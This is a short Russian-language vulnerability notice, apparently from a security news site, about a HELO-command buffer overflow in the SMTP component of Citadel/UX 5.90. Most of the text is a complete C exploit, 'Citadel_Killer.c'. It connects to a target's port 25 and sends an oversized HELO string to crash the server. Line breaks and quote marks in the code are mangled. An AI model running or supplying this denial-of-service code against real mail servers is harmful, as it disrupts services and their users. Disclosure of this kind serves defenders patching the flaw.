Citadel/UX — BBS пакет c открытым исходным кодом для linux, BSD, Solaris и других Unix систем. Последние версии Citadel/UX включают поддержку электронной почты и могут
работать с POP3, IMAP и SMTP.

Уязвимость найдена в SMTP компоненте, включенной в некоторые версии Citadel/UX. При инициализации соединения с SMTP сервером,
длинный параметр с командой HELO вызовет переполнение буфера с возможностью выполнения произвольного кода с правами Citadel/UX. 

Уязвимость найдена в Citadel/UX 5.90 

Эксплоит:

/* Citadel_Killer.c
*
* Remote Denial of Service Citadel/UX Server. 

* by xperc@hotmail.com
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define MAXBUF 8000 
#define MAXBUF2 MAXBUF+6
#define RECVBUF 256
#define CIT_SMTP 25 
int main(int argc, char *argv[])
{
int sockfd;
char msg[RECVBUF],buf[MAXBUF],sendbuf
[MAXBUF2];
struct sockaddr_in target;
if(argc!=2){
fprintf(stderr,"Usage: %s 
target_address\n",*argv);
exit(-1);
}
if((sockfd=socket
(AF_INET,SOCK_STREAM,0))<0){
perror("socket");
exit(-1);
}
target.sin_family=AF_INET;
target.sin_port=htons(CIT_SMTP);
target.sin_addr.s_addr=inet_addr(argv[1]);
if(connect(sockfd,(struct sockaddr*) &target,sizeof(target))<0){
perror("connect");
exit(-1); 
}
if(recv(sockfd,msg,sizeof(msg)-1,0)<=0){
perror("recv");
exit(-1);
}
memset(buf,’a’,MAXBUF);
snprintf(sendbuf,sizeof(sendbuf),"helo %
s",buf);
strcat(sendbuf,"\n");
send(sockfd,sendbuf,strlen(sendbuf),0);
close(sockfd);
return 0;
}



Оставить мнение